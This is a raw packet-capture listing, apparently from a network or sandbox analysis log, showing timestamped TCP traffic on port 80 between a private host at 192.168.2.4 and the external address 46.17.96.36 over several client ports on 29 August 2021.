Aug 29, 2021 22:27:37.627207994 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.627224922 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.627285957 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.627310991 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.627315044 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.663331985 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.663361073 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.663372040 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.663499117 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.663513899 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.663527966 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.663541079 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.663554907 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.663616896 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.663631916 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.663645983 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.769793987 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.769906998 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.795533895 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.796175957 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.806030989 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.806056976 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.806102037 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.806802034 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.806852102 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.806889057 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.831191063 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.831216097 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.831623077 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.866187096 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.866364002 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.118020058 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.119381905 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.153661966 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.153734922 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.153909922 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.154000998 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.154784918 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.154885054 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.155055046 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.155191898 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.189325094 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.189373970 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.189459085 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.189497948 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.189555883 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.189567089 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.189727068 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.189743996 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.189759970 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.189825058 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.189961910 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.190035105 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.224714041 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.224755049 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.224778891 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.224797964 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.224803925 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.224826097 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.224828959 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.224847078 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.224867105 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.224881887 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.224926949 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.224946976 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.224972963 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.224998951 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.225023031 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.225054026 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.225120068 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.225157022 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.225378990 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.225416899 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.225459099 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.225500107 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.259744883 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.259799957 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.259829998 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.259854078 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.259865046 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.259880066 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.259947062 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.259972095 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:38.260016918 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.260054111 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.260174990 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.260202885 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.260313988 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.260355949 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.260473013 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.260580063 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.260656118 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.260807037 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.261004925 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.261034012 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.261135101 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.294642925 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.294687986 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.294724941 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.294867039 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.294989109 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.295087099 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.295214891 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.295293093 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.329565048 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:38.329672098 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.065897942 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.066943884 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.100575924 CEST	80	49799	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.100692987 CEST	49799	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.102372885 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.102473021 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.104111910 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.104212046 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.112994909 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.113271952 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.139530897 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.139571905 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.148502111 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.148531914 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.148549080 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.148602962 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.148680925 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.148782969 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.148857117 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.148858070 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.148922920 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.184129953 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.184170961 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.184195995 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.184212923 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.184252024 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.184268951 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.184298992 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.184328079 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.184355974 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.184427023 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.184453964 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.184505939 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.184546947 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.184644938 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.184679031 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.184735060 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.184768915 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.184829950 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.184904099 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.219878912 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.219913960 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.219930887 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.219973087 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.220015049 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.220134974 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.220268965 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.220292091 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.220455885 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.220484018 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.220655918 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.220693111 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.220824957 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.220848083 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.221061945 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.221194983 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.221364021 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.221388102 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.232424021 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.232510090 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.232557058 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:39.255611897 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.255673885 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.269104004 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.269150972 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.269169092 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.269193888 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.269218922 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.269242048 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.304362059 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:39.304616928 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.475528002 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.476783991 CEST	49801	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.477780104 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.509155035 CEST	80	49801	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.509293079 CEST	49801	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.510046005 CEST	49801	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.511821985 CEST	80	49800	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.511907101 CEST	49800	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.513665915 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.513782024 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.515219927 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.515302896 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.515470982 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.515533924 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.543148994 CEST	80	49801	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.550241947 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.550275087 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.550322056 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.550405025 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.550465107 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.550493956 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.550528049 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.550554991 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.550694942 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.550720930 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.550810099 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.550856113 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.584520102 CEST	80	49801	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.584652901 CEST	49801	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.587001085 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.587042093 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.587110996 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.587218046 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.587444067 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.587517977 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.587651968 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.587739944 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.587948084 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.588022947 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.588180065 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.588294029 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.588676929 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.588701963 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.588756084 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.588771105 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.588788986 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.588849068 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.622339964 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.622376919 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.622402906 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.622478962 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.622584105 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.622612000 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.622642040 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.622665882 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.622689009 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.622699022 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.623003006 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.623159885 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.623353004 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.623528004 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.623677969 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.623908043 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.623955965 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.623987913 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.624036074 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.624079943 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.624103069 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.624475002 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.624512911 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.658513069 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.658868074 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.659039974 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.659070015 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.659576893 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.659652948 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.660140991 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.698283911 CEST	49801	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.699414015 CEST	49803	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.699799061 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.699956894 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.732969046 CEST	80	49801	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.733006954 CEST	80	49803	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.733050108 CEST	49801	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.733118057 CEST	49803	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.733958006 CEST	49803	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.770167112 CEST	80	49803	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.805799961 CEST	80	49803	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.805911064 CEST	49803	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.912944078 CEST	49803	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.913248062 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.914397001 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.917722940 CEST	49805	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.946554899 CEST	80	49803	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.946635008 CEST	49803	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.951441050 CEST	80	49802	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.951510906 CEST	49802	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.952016115 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.952091932 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.952375889 CEST	80	49805	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.952451944 CEST	49805	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.956150055 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.956264019 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.956473112 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.956850052 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.957469940 CEST	49805	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.989787102 CEST	80	49805	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.991220951 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.991245031 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.992949963 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.992969036 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.992981911 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.992995024 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.993031025 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.993086100 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:40.993153095 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:40.993211031 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.028248072 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.028275013 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.028286934 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.028354883 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.028386116 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.028405905 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.028423071 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.028490067 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.028503895 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.028528929 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.028541088 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.028553963 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.029601097 CEST	80	49805	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.029680967 CEST	49805	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.064865112 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.064889908 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.064903975 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.064917088 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.064929962 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.064946890 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.064961910 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.064963102 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.064975023 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.064990044 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.065011978 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.100975037 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.101001978 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.101011992 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.101304054 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.135195017 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.135267973 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.143050909 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.221348047 CEST	80	49804	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.221498966 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.392518044 CEST	49804	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.392796040 CEST	49805	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.396107912 CEST	49806	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:41.425203085 CEST	80	49805	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:41.425293922 CEST	49805	80	192.168.2.4	46.17.96.36
